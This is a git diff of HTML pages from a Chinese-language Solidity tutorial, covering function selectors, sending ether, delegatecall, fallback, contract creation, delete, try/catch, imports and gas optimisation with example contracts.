      // 在合约中,一个function的4字节selector可以通过abi.encodeWithSignature(...)来获取
      -// "0xa9059cbb"
      -bytes memory transferSelector = abi.encodeWithSignature("transfer(address,uint256)");
      +
      // 在合约中,一个function的4字节selector可以通过abi.encodeWithSignature(...)来获取
      +// "0xa9059cbb"
      +bytes memory transferSelector = abi.encodeWithSignature("transfer(address,uint256)");
       
      -// 调用合约
      -addr.call(transferSelector, 0xSomeAddress, 100); 
      +// 调用合约
      +addr.call(transferSelector, 0xSomeAddress, 100); 
       
      -// 一般会写成一行,简写如下:
      -// addr.call(abi.encodeWithSignature("transfer(address,uint256)"), 0xSomeAddress, 100);
      +// 一般会写成一行,简写如下:
      +// addr.call(abi.encodeWithSignature("transfer(address,uint256)"), 0xSomeAddress, 100);
       
    2. 方式2:keccak256方法(sha3哈希算法)

      -
      //注意我们这里做hash时,仅处理函数名与参数,并不会计算函数返回值
      -bytes4(keccak256(bytes("transfer(address,uint256)")))
      +
      //注意我们这里做hash时,仅处理函数名与参数,并不会计算函数返回值
      +bytes4(keccak256(bytes("transfer(address,uint256)")))
       
    3. 方式3:在合约内部也可以直接获取selector

      -
      // 假设当前合约内有transfer函数
      -this.transfer.selector
      +
      // 假设当前合约内有transfer函数
      +this.transfer.selector
       
    4. 方式4:也可以使用abi.encodeCall方式获取

      interface IERC20 {
      -        function transfer(address, uint) external;
      +        function transfer(address, uint) external;
       }
       
      -function encodeCall(address to, uint amount) external pure returns (bytes memory) {
      -      // Typo and type errors will not compile
      -      return abi.encodeCall(IERC20.transfer, (to, amount));
      +function encodeCall(address to, uint amount) external pure returns (bytes memory) {
      +      // Typo and type errors will not compile
      +      return abi.encodeCall(IERC20.transfer, (to, amount));
       }
       

    完整demo

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     interface IERC20 {
    -    function transfer(address, uint) external;
    +    function transfer(address, uint) external;
     }
     
     contract FunctionSelector {
         event Selector(bytes4 s1, bytes4 s2);
     
    -    //_func示例值: "transfer(address,uint256)"
    -    function getSelector(string calldata _func) external pure returns (bytes4, bytes memory) {
    +    //_func示例值: "transfer(address,uint256)"
    +    function getSelector(string calldata _func) external pure returns (bytes4, bytes memory) {
             bytes4 selector1 = bytes4(keccak256(bytes(_func)));
             bytes memory selector2 = abi.encodeWithSignature(_func);
     
    -        // 两者相同
    -    // 0: bytes4: 0xa9059cbb
    -    // 1: bytes: 0xa9059cbb
    -        return (selector1, selector2);
    +        // 两者相同
    +    // 0: bytes4: 0xa9059cbb
    +    // 1: bytes: 0xa9059cbb
    +        return (selector1, selector2);
         }
     
    -       function encodeWithSignature(address to, uint amount)
    -        external
    -        pure
    -        returns (bytes memory)
    -    {
    -        // Typo is not checked - "transfer(address, uint)",不会检查参数类型
    -        return abi.encodeWithSignature("transfer(address,uint256)", to, amount);
    +       function encodeWithSignature(address to, uint amount)
    +        external
    +        pure
    +        returns (bytes memory)
    +    {
    +        // Typo is not checked - "transfer(address, uint)",不会检查参数类型
    +        return abi.encodeWithSignature("transfer(address,uint256)", to, amount);
         }
     
    -    function encodeWithSelector(address to, uint amount)
    -        external
    -        pure
    -        returns (bytes memory)
    -    {
    -        // Type is not checked - (IERC20.transfer.selector, true, amount) ,不会检查to, amount类型
    -        return abi.encodeWithSelector(IERC20.transfer.selector, to, amount);
    +    function encodeWithSelector(address to, uint amount)
    +        external
    +        pure
    +        returns (bytes memory)
    +    {
    +        // Type is not checked - (IERC20.transfer.selector, true, amount) ,不会检查to, amount类型
    +        return abi.encodeWithSelector(IERC20.transfer.selector, to, amount);
         }
     
    -    function encodeCall(address to, uint amount) external pure returns (bytes memory) {
    -        // Typo and type errors will not compile,校验最严格
    -        return abi.encodeCall(IERC20.transfer, (to, amount));
    +    function encodeCall(address to, uint amount) external pure returns (bytes memory) {
    +        // Typo and type errors will not compile,校验最严格
    +        return abi.encodeCall(IERC20.transfer, (to, amount));
         }
     }
     

    其他知识点

    1. 一般提到signature的方法指的是函数原型:

      -
      "transfer(address,uint256)"
      +
      "transfer(address,uint256)"
       
    2. 一般提到selector指的是前4字节

      -
      // bytes4(keccak256(bytes("transfer(address,uint256)")))
      -"Function sig:" "0xa9059cbb"
      +
      // bytes4(keccak256(bytes("transfer(address,uint256)")))
      +"Function sig:" "0xa9059cbb"
       
    3. 链下方式计算selector(详见在web3.js和ether.js章节),点击执行demo

      -
      async function main() {
      -  let transferEvent = "Transfer(address,address,uint256)"
      -  let sig1 = web3.eth.abi.encodeEventSignature(transferEvent)
      -  let sig2 = web3.eth.abi.encodeFunctionSignature(transferEvent)
      +
      async function main() {
      +  let transferEvent = "Transfer(address,address,uint256)"
      +  let sig1 = web3.eth.abi.encodeEventSignature(transferEvent)
      +  let sig2 = web3.eth.abi.encodeFunctionSignature(transferEvent)
       
      -  // 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
      -  console.log('event sig1:', sig1)
      +  // 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
      +  console.log('event sig1:', sig1)
       
      -  // 0xddf252ad
      -  console.log('event sig2:', sig2)
      +  // 0xddf252ad
      +  console.log('event sig2:', sig2)
       
      -  let transferFun = "transfer(address,uint256)"
      -  let sig3 = web3.eth.abi.encodeFunctionSignature(transferFun)
      +  let transferFun = "transfer(address,uint256)"
      +  let sig3 = web3.eth.abi.encodeFunctionSignature(transferFun)
       
      -  // 0xa9059cbb,差一个字母千差万别
      -  console.log('Function sig:', sig3)
      +  // 0xa9059cbb,差一个字母千差万别
      +  console.log('Function sig:', sig3)
       }
       
    4. 哈希算法:

      -
      // keccak256与sha3和算法相同  ==》  brew install sha3sum
      -// sha256属于sha2系列(与sha3不同)。
      +
      // keccak256与sha3和算法相同  ==》  brew install sha3sum
      +// sha256属于sha2系列(与sha3不同)。
       
    @@ -3170,7 +3166,7 @@

    其他知识点

    @@ -3256,14 +3252,6 @@

    其他知识点

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/08_send_ether.html" "b/cn/02_solidity\350\277\233\351\230\266/08_send_ether.html" index 44e706e8..05e164f5 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/08_send_ether.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/08_send_ether.html" @@ -36,10 +36,6 @@ - - - - @@ -3036,11 +3032,11 @@

    如何接收ether?

  • receive() external payable:msg.data为空时调用(为接收ether而生,仅solidity 0.6版本之后)
  • fallback() external payable:msg.data非空时调用(为执行default逻辑而生,顺便支持接收ether
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract ReceiveEther {
    -    /*
    +    /*
         Which function is called, fallback() or receive()?
     
                     sender ether
    @@ -3054,54 +3050,54 @@ 

    如何接收ether?

    yes no / \ receive() fallback() - */ + */
    string public message; - // Function to receive Ether. msg.data must be empty + // Function to receive Ether. msg.data must be empty receive() external payable { - message = "receive called!"; + message = "receive called!"; } - // Fallback function is called when msg.data is not empty + // Fallback function is called when msg.data is not empty fallback() external payable { - message = "fallback called!"; + message = "fallback called!"; } - function getBalance() public view returns (uint) { - return address(this).balance; + function getBalance() public view returns (uint) { + return address(this).balance; } - function setMsg(string memory _msg) public { + function setMsg(string memory _msg) public { message = _msg; } } contract SendEther { - function sendViaTransfer(address payable _to) public payable { - // This function is no longer recommended for sending Ether. (不建议使用) + function sendViaTransfer(address payable _to) public payable { + // This function is no longer recommended for sending Ether. (不建议使用) _to.transfer(msg.value); } - function sendViaSend(address payable _to) public payable { - // Send returns a boolean value indicating success or failure. - // This function is not recommended for sending Ether. (不建议使用) + function sendViaSend(address payable _to) public payable { + // Send returns a boolean value indicating success or failure. + // This function is not recommended for sending Ether. (不建议使用) bool sent = _to.send(msg.value); - require(sent, "Failed to send Ether"); + require(sent, "Failed to send Ether"); } - function sendViaCallFallback(address payable _to) public payable { - // Call returns a boolean value indicating success or failure. - // This is the current recommended method to use. (推荐使用) - (bool sent, bytes memory data) = _to.call{value: msg.value}(abi.encodeWithSignature("noExistFuncTest()")); - require(sent, "Failed to send Ether"); + function sendViaCallFallback(address payable _to) public payable { + // Call returns a boolean value indicating success or failure. + // This is the current recommended method to use. (推荐使用) + (bool sent, bytes memory data) = _to.call{value: msg.value}(abi.encodeWithSignature("noExistFuncTest()")); + require(sent, "Failed to send Ether"); } - function sendViaCallReceive(address payable _to) public payable { - // Call returns a boolean value indicating success or failure. - // This is the current recommended method to use.(推荐使用) - (bool sent, bytes memory data) = _to.call{value: msg.value}(""); - require(sent, "Failed to send Ether"); + function sendViaCallReceive(address payable _to) public payable { + // Call returns a boolean value indicating success or failure. + // This is the current recommended method to use.(推荐使用) + (bool sent, bytes memory data) = _to.call{value: msg.value}(""); + require(sent, "Failed to send Ether"); } }
    @@ -3142,7 +3138,7 @@

    如何接收ether?

    @@ -3228,14 +3224,6 @@

    如何接收ether?

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/09_delegatecall.html" "b/cn/02_solidity\350\277\233\351\230\266/09_delegatecall.html" index 4e41d3fb..2df2e736 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/09_delegatecall.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/09_delegatecall.html" @@ -36,10 +36,6 @@ - - - - @@ -3028,32 +3024,32 @@

    第9节: delegatecall

  • 使用delegatecall的前提是:A合约和B合约有相同的状态变量。
  • image-20220510094354223

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Implementation {
    -    // NOTE: storage layout must be the same as contract A
    +    // NOTE: storage layout must be the same as contract A
         uint public num;
         address public sender;
         uint public value;
     
    -    function setVars(uint _num) public payable {
    +    function setVars(uint _num) public payable {
             num = _num;
             sender = msg.sender;
             value = msg.value;
         }
     }
     
    -// 注意:执行后,Proxy中的sender值为EOA的地址,而不是A合约的地址  (调用链EOA-> Proxy::setVars -> Implementation::setVars)
    -contract Proxy {
    +// 注意:执行后,Proxy中的sender值为EOA的地址,而不是A合约的地址  (调用链EOA-> Proxy::setVars -> Implementation::setVars)
    +contract Proxy {
         uint public num;
         address public sender;
         uint public value;
     
    -    function setVars(address _impl, uint _num) public payable {
    -        // Proxy's storage is set, Implementation is not modified.
    +    function setVars(address _impl, uint _num) public payable {
    +        // Proxy's storage is set, Implementation is not modified.
             (bool success, bytes memory data) = _impl.delegatecall(
    -            abi.encodeWithSignature("setVars(uint256)", _num)
    +            abi.encodeWithSignature("setVars(uint256)", _num)
             );
         }
     }
    @@ -3085,7 +3081,7 @@ 

    第9节: delegatecall

    @@ -3171,14 +3167,6 @@

    第9节: delegatecall

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/10_fallback.html" "b/cn/02_solidity\350\277\233\351\230\266/10_fallback.html" index 74a842d4..39163472 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/10_fallback.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/10_fallback.html" @@ -36,10 +36,6 @@ - - - - @@ -3032,42 +3028,42 @@

    第10节:fallback

  • 当使用transfer或者send对合约进行转账时,fallback函数的gaslimit限定为2300 gas
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Fallback {
         event Log(uint gas);
     
    -    // Fallback function must be declared as external.
    +    // Fallback function must be declared as external.
         fallback() external payable {
    -        // send / transfer (forwards 2300 gas to this fallback function)
    -        // call (forwards all of the gas)
    +        // send / transfer (forwards 2300 gas to this fallback function)
    +        // call (forwards all of the gas)
             emit Log(gasleft());
         }
     
    -    // Helper function to check the balance of this contract
    -    function getBalance() public view returns (uint) {
    -        return address(this).balance;
    +    // Helper function to check the balance of this contract
    +    function getBalance() public view returns (uint) {
    +        return address(this).balance;
         }
     }
     
     contract SendToFallback {
    -    function transferToFallback(address payable _to) public payable {
    -          // Log event:  "gas": "2254"
    +    function transferToFallback(address payable _to) public payable {
    +          // Log event:  "gas": "2254"
             _to.transfer(msg.value);
         }
     
    -    function callFallback(address payable _to) public payable {
    -        // Log event:  "gas": "6110"
    -        (bool sent, ) = _to.call{value: msg.value}("");
    -        require(sent, "Failed to send Ether");
    +    function callFallback(address payable _to) public payable {
    +        // Log event:  "gas": "6110"
    +        (bool sent, ) = _to.call{value: msg.value}("");
    +        require(sent, "Failed to send Ether");
         }
     
    -     function callNoExistFunc(address payable _to) public payable {
    -        // call no exist funtion will call fallback by default 
    -        // Log event:  "gas": "5146"
    -        (bool sent, ) = _to.call{value: msg.value}(abi.encodeWithSignature("noExistFunc()"));
    -        require(sent, "Failed to call");
    +     function callNoExistFunc(address payable _to) public payable {
    +        // call no exist funtion will call fallback by default 
    +        // Log event:  "gas": "5146"
    +        (bool sent, ) = _to.call{value: msg.value}(abi.encodeWithSignature("noExistFunc()"));
    +        require(sent, "Failed to call");
         }
     }
     
    @@ -3098,7 +3094,7 @@

    第10节:fallback

    @@ -3184,14 +3180,6 @@

    第10节:fallback

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/11_\345\220\210\347\272\246\351\227\264\350\260\203\347\224\250.html" "b/cn/02_solidity\350\277\233\351\230\266/11_\345\220\210\347\272\246\351\227\264\350\260\203\347\224\250.html" index c027c086..1b522e01 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/11_\345\220\210\347\272\246\351\227\264\350\260\203\347\224\250.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/11_\345\220\210\347\272\246\351\227\264\350\260\203\347\224\250.html" @@ -36,10 +36,6 @@ - - - - @@ -3030,41 +3026,41 @@

    第11节:合约间调用

  • 使用call调用合约: A.call(calldata)
  • 使用delegate调用合约:A.delegatecall(calldata)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Callee {
         uint public x;
         uint public value;
     
    -    function setX(uint _x) public returns (uint) {
    +    function setX(uint _x) public returns (uint) {
             x = _x;
    -        return x;
    +        return x;
         }
     
    -    function setXandSendEther(uint _x) public payable returns (uint, uint) {
    +    function setXandSendEther(uint _x) public payable returns (uint, uint) {
             x = _x;
             value = msg.value;
     
    -        return (x, value);
    +        return (x, value);
         }
     }
     
     contract Caller {
    -    // 直接在参数中进行实例化合约
    -    function setX(Callee _callee, uint _x) public {
    +    // 直接在参数中进行实例化合约
    +    function setX(Callee _callee, uint _x) public {
             uint x = _callee.setX(_x);
         }
     
    -    // 传递地址,在内部实例化callee合约
    -    function setXFromAddress(address _addr, uint _x) public {
    +    // 传递地址,在内部实例化callee合约
    +    function setXFromAddress(address _addr, uint _x) public {
             Callee callee = Callee(_addr);
             callee.setX(_x);
         }
     
    -    // 调用方法,并转ether
    -    function setXandSendEther(Callee _callee, uint _x) public payable {
    -        (uint x, uint value) = _callee.setXandSendEther{value: msg.value}(_x);
    +    // 调用方法,并转ether
    +    function setXandSendEther(Callee _callee, uint _x) public payable {
    +        (uint x, uint value) = _callee.setXandSendEther{value: msg.value}(_x);
         }
     }
     
    @@ -3095,7 +3091,7 @@

    第11节:合约间调用

    @@ -3181,14 +3177,6 @@

    第11节:合约间调用

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/12_new_create2.html" "b/cn/02_solidity\350\277\233\351\230\266/12_new_create2.html" index c6d0382c..c03b414e 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/12_new_create2.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/12_new_create2.html" @@ -36,10 +36,6 @@ - - - - @@ -3053,73 +3049,73 @@

    第12节:new合约

    1. 使用new方式创建:
    -
    // 内部调用create
    -new ContractName(参数...)
    +
    // 内部调用create
    +new ContractName(参数...)
     
    -// 内部调用create2
    -// 在0.8.0版本之后,new增加了salt选项,从而支持了create2的特性(通过salt可以计算出创建合约的地址)。
    -new ContractName{salt: _salt}(参数...)
    +// 内部调用create2
    +// 在0.8.0版本之后,new增加了salt选项,从而支持了create2的特性(通过salt可以计算出创建合约的地址)。
    +new ContractName{salt: _salt}(参数...)
     

    demo验证

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Car {
         address public owner;
         string public model;
         address public carAddr;
     
    -    constructor(address _owner, string memory _model) payable {
    +    constructor(address _owner, string memory _model) payable {
             owner = _owner;
             model = _model;
    -        carAddr = address(this);
    +        carAddr = address(this);
         }
     }
     
     contract CarFactory {
         Car[] public cars;
     
    -    function create(address _owner, string memory _model) public {
    -        Car car = new Car(_owner, _model);
    +    function create(address _owner, string memory _model) public {
    +        Car car = new Car(_owner, _model);
             cars.push(car);
         }
     
    -    function createAndSendEther(address _owner, string memory _model) public payable {
    -        Car car = (new Car){value: msg.value}(_owner, _model);
    +    function createAndSendEther(address _owner, string memory _model) public payable {
    +        Car car = (new Car){value: msg.value}(_owner, _model);
             cars.push(car);
         }
     
    -    function create2(
    +    function create2(
             address _owner,
             string memory _model,
             bytes32 _salt
    -    ) public {
    -        Car car = (new Car){salt: _salt}(_owner, _model);
    +    ) public {
    +        Car car = (new Car){salt: _salt}(_owner, _model);
             cars.push(car);
         }
     
    -    function create2AndSendEther(
    +    function create2AndSendEther(
             address _owner,
             string memory _model,
             bytes32 _salt
    -    ) public payable {
    -        Car car = (new Car){value: msg.value, salt: _salt}(_owner, _model);
    +    ) public payable {
    +        Car car = (new Car){value: msg.value, salt: _salt}(_owner, _model);
             cars.push(car);
         }
     
    -    function getCar(uint _index)
    -        public
    -        view
    -        returns (
    +    function getCar(uint _index)
    +        public
    +        view
    +        returns (
                 address owner,
                 string memory model,
                 address carAddr,
                 uint balance
    -        )
    -    {
    +        )
    +    {
             Car car = cars[_index];
     
    -        return (car.owner(), car.model(), car.carAddr(), address(car).balance);
    +        return (car.owner(), car.model(), car.carAddr(), address(car).balance);
         }
     }
     
    @@ -3150,7 +3146,7 @@

    demo验证

    @@ -3236,14 +3232,6 @@

    demo验证

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/13_delete.html" "b/cn/02_solidity\350\277\233\351\230\266/13_delete.html" index 6abbd884..6e5f066e 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/13_delete.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/13_delete.html" @@ -36,10 +36,6 @@ - - - - @@ -3029,60 +3025,60 @@

    第13节:delete

  • 如果对map类型使用delete,什么都不会发生;
  • 但如果对map类型中的一个键使用delete,则会删除与该键相关的值。
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract  Delete {
    -    //01. string 
    -    string public str1 = "hello";
    +    //01. string 
    +    string public str1 = "hello";
     
    -    function deleteStr() public {
    -        delete str1;
    +    function deleteStr() public {
    +        delete str1;
         }
     
    -    function setStr(string memory input) public {
    +    function setStr(string memory input) public {
             str1 = input;
         }
     
    -    //02. array 对于固定长度的数组,会删除每个元素的值,但是数组长度不变
    -    uint256[10] public arry1 = [1,2,3,4,5];
    +    //02. array 对于固定长度的数组,会删除每个元素的值,但是数组长度不变
    +    uint256[10] public arry1 = [1,2,3,4,5];
     
    -    function deleteFiexedArry() public {
    -        delete arry1;
    +    function deleteFiexedArry() public {
    +        delete arry1;
         }
     
    -    //03. array new
    +    //03. array new
         uint256[] arry2 ;
    -    function setArray2() public {
    -        arry2 = new uint256[](10);
    -        for (uint256 i = 0; i< arry2.length; i++) {
    +    function setArray2() public {
    +        arry2 = new uint256[](10);
    +        for (uint256 i = 0; i< arry2.length; i++) {
                 arry2[i] = i;
             }
         }
     
    -    function getArray2() public view returns(uint256[] memory) {
    -        return arry2;
    +    function getArray2() public view returns(uint256[] memory) {
    +        return arry2;
         }
     
    -    function deleteArray2() public {
    -        delete arry2;
    +    function deleteArray2() public {
    +        delete arry2;
         }
     
    -    //04. mapping
    -    mapping(uint256 => string) public m1;
    +    //04. mapping
    +    mapping(uint256 => string) public m1;
     
    -    function setMap() public {
    -        m1[0] = "hello";
    -        m1[1] = "world";
    +    function setMap() public {
    +        m1[0] = "hello";
    +        m1[1] = "world";
         }
     
    -    //Mapping不允许直接使用delete,但是可以对mapping的元素进行指定删除
    -    // function deleteM1() public {
    -    //     delete m1;
    -    // }    
    +    //Mapping不允许直接使用delete,但是可以对mapping的元素进行指定删除
    +    // function deleteM1() public {
    +    //     delete m1;
    +    // }    
     
    -    function deleteMapping(uint256 i) public {
    -        delete m1[i];
    +    function deleteMapping(uint256 i) public {
    +        delete m1[i];
         }
     }
     
    @@ -3113,7 +3109,7 @@

    第13节:delete

    @@ -3199,14 +3195,6 @@

    第13节:delete

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/14_try_catch.html" "b/cn/02_solidity\350\277\233\351\230\266/14_try_catch.html" index 1414c626..764dcca2 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/14_try_catch.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/14_try_catch.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,22 +3019,22 @@

    第14节:try/catch

    职场进阶: https://dukeweb3.com

    try/catch仅可以捕捉在调用external函数或创建合约中抛出的异常信息。

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// External contract used for try / catch examples
    +// External contract used for try / catch examples
     contract Foo {
         address public owner;
     
    -    constructor(address _owner) {
    -        require(_owner != address(0), "invalid address");
    -        assert(_owner != 0x0000000000000000000000000000000000000001);
    +    constructor(address _owner) {
    +        require(_owner != address(0), "invalid address");
    +        assert(_owner != 0x0000000000000000000000000000000000000001);
             owner = _owner;
         }
     
    -    function myFunc(uint x) public pure returns (string memory) {
    -        require(x != 0, "require failed");
    -        return "my func was called";
    +    function myFunc(uint x) public pure returns (string memory) {
    +        require(x != 0, "require failed");
    +        return "my func was called";
         }
     }
     
    @@ -3048,35 +3044,35 @@ 

    第14节:try/catch

    Foo public foo; - constructor() { - // This Foo contract is used for example of try catch with external call - foo = new Foo(msg.sender); + constructor() { + // This Foo contract is used for example of try catch with external call + foo = new Foo(msg.sender); } - // Example of try / catch with external call - // tryCatchExternalCall(0) => Log("external call failed") - // tryCatchExternalCall(1) => Log("my func was called") - function tryCatchExternalCall(uint _i) public { - try foo.myFunc(_i) returns (string memory result) { + // Example of try / catch with external call + // tryCatchExternalCall(0) => Log("external call failed") + // tryCatchExternalCall(1) => Log("my func was called") + function tryCatchExternalCall(uint _i) public { + try foo.myFunc(_i) returns (string memory result) { emit Log(result); - } catch { - emit Log("external call failed"); + } catch { + emit Log("external call failed"); } } - // Example of try / catch with contract creation - // tryCatchNewContract(0x0000000000000000000000000000000000000000) => Log("invalid address") - // tryCatchNewContract(0x0000000000000000000000000000000000000001) => LogBytes("") - // tryCatchNewContract(0x0000000000000000000000000000000000000002) => Log("Foo created") - function tryCatchNewContract(address _owner) public { - try new Foo(_owner) returns (Foo foo) { - // you can use variable foo here - emit Log("Foo created"); - } catch Error(string memory reason) { - // catch failing revert() and require() + // Example of try / catch with contract creation + // tryCatchNewContract(0x0000000000000000000000000000000000000000) => Log("invalid address") + // tryCatchNewContract(0x0000000000000000000000000000000000000001) => LogBytes("") + // tryCatchNewContract(0x0000000000000000000000000000000000000002) => Log("Foo created") + function tryCatchNewContract(address _owner) public { + try new Foo(_owner) returns (Foo foo) { + // you can use variable foo here + emit Log("Foo created"); + } catch Error(string memory reason) { + // catch failing revert() and require() emit Log(reason); - } catch (bytes memory reason) { - // catch failing assert() + } catch (bytes memory reason) { + // catch failing assert() emit LogBytes(reason); } } @@ -3110,7 +3106,7 @@

    第14节:try/catch

    @@ -3196,14 +3192,6 @@

    第14节:try/catch

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/15_import.html" "b/cn/02_solidity\350\277\233\351\230\266/15_import.html" index e3386d19..c08ef1ed 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/15_import.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/15_import.html" @@ -36,10 +36,6 @@ - - - - @@ -3028,64 +3024,64 @@

    第15节:import

    Fool.sol

    常量、函数、枚举、结构体、Error可以定义在合约之外;事件、变量不允许定义在合约之外。

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     struct Point {
         uint x;
         uint y;
     }
     
    -// 事件不允许定义在合约之外
    -// event Greeting(string);
    +// 事件不允许定义在合约之外
    +// event Greeting(string);
     
     error Unauthorized(address caller);
     
    -string constant greeting = "hell world";
    +string constant greeting = "hell world";
     
    -function add(uint x, uint y) pure returns (uint) {
    -    return x + y;
    +function add(uint x, uint y) pure returns (uint) {
    +    return x + y;
     }
     
     contract Foo {
    -    string public name = "Foo";
    +    string public name = "Foo";
     }
     

    Import.sol

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// import Foo.sol from current directory
    -import "./Foo.sol";
    +// import Foo.sol from current directory
    +import "./Foo.sol";
     
    -// import {symbol1 as alias, symbol2} from "filename";
    -import {Unauthorized, add as func, Point} from "./Foo.sol";
    +// import {symbol1 as alias, symbol2} from "filename";
    +import {Unauthorized, add as func, Point} from "./Foo.sol";
     
     contract Import {
    -    // Initialize Foo.sol
    -    Foo public foo = new Foo();
    +    // Initialize Foo.sol
    +    Foo public foo = new Foo();
     
    -    // Test Foo.sol by getting it's name.
    -    function getFooName() public view returns (string memory) {
    -        return foo.name();
    +    // Test Foo.sol by getting it's name.
    +    function getFooName() public view returns (string memory) {
    +        return foo.name();
         }
     
    -    function myAdd() public pure returns(uint) {
    -        return func(1,2);
    +    function myAdd() public pure returns(uint) {
    +        return func(1,2);
         }
     
    -    function greetingCall() public pure returns(string memory) {
    -        return greeting;
    +    function greetingCall() public pure returns(string memory) {
    +        return greeting;
         }
     }
     

    导入外部文件:

    -
    // https://github.com/owner/repo/blob/branch/path/to/Contract.sol
    -import "https://github.com/owner/repo/blob/branch/path/to/Contract.sol";
    +
    // https://github.com/owner/repo/blob/branch/path/to/Contract.sol
    +import "https://github.com/owner/repo/blob/branch/path/to/Contract.sol";
     
    -// Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch
    -// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol
    -import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
    +// Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch
    +// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol
    +import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
     
    @@ -3114,7 +3110,7 @@

    第15节:import

    @@ -3200,14 +3196,6 @@

    第15节:import

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/16_\350\212\202\347\272\246gas.html" "b/cn/02_solidity\350\277\233\351\230\266/16_\350\212\202\347\272\246gas.html" index 047e53ca..cad88141 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/16_\350\212\202\347\272\246gas.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/16_\350\212\202\347\272\246gas.html" @@ -36,10 +36,6 @@ - - - - @@ -3029,41 +3025,41 @@

    第16节:节约gas

  • 对变量进行缓存
  • 短路效应
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// gas golf
    +// gas golf
     contract GasGolf {
    -    // start - 50908 gas
    -    // use calldata - 49163 gas
    -    // load state variables to memory - 48952 gas
    -    // short circuit - 48634 gas
    -    // loop increments - 48244 gas
    -    // cache array length - 48209 gas
    -    // load array elements to memory - 48047 gas
    +    // start - 50908 gas
    +    // use calldata - 49163 gas
    +    // load state variables to memory - 48952 gas
    +    // short circuit - 48634 gas
    +    // loop increments - 48244 gas
    +    // cache array length - 48209 gas
    +    // load array elements to memory - 48047 gas
     
         uint public total;
     
    -    // start - not gas optimized
    -    // function sumIfEvenAndLessThan99(uint[] memory nums) external {
    -    //     for (uint i = 0; i < nums.length; i += 1) {
    -    //         bool isEven = nums[i] % 2 == 0;
    -    //         bool isLessThan99 = nums[i] < 99;
    -    //         if (isEven && isLessThan99) {
    -    //             total += nums[i];
    -    //         }
    -    //     }
    -    // }
    -
    -    // gas optimized
    -    // [1, 2, 3, 4, 5, 100]
    -    function sumIfEvenAndLessThan99(uint[] calldata nums) external {
    +    // start - not gas optimized
    +    // function sumIfEvenAndLessThan99(uint[] memory nums) external {
    +    //     for (uint i = 0; i < nums.length; i += 1) {
    +    //         bool isEven = nums[i] % 2 == 0;
    +    //         bool isLessThan99 = nums[i] < 99;
    +    //         if (isEven && isLessThan99) {
    +    //             total += nums[i];
    +    //         }
    +    //     }
    +    // }
    +
    +    // gas optimized
    +    // [1, 2, 3, 4, 5, 100]
    +    function sumIfEvenAndLessThan99(uint[] calldata nums) external {
             uint _total = total;
             uint len = nums.length;
     
    -        for (uint i = 0; i < len; ++i) {
    +        for (uint i = 0; i < len; ++i) {
                 uint num = nums[i];
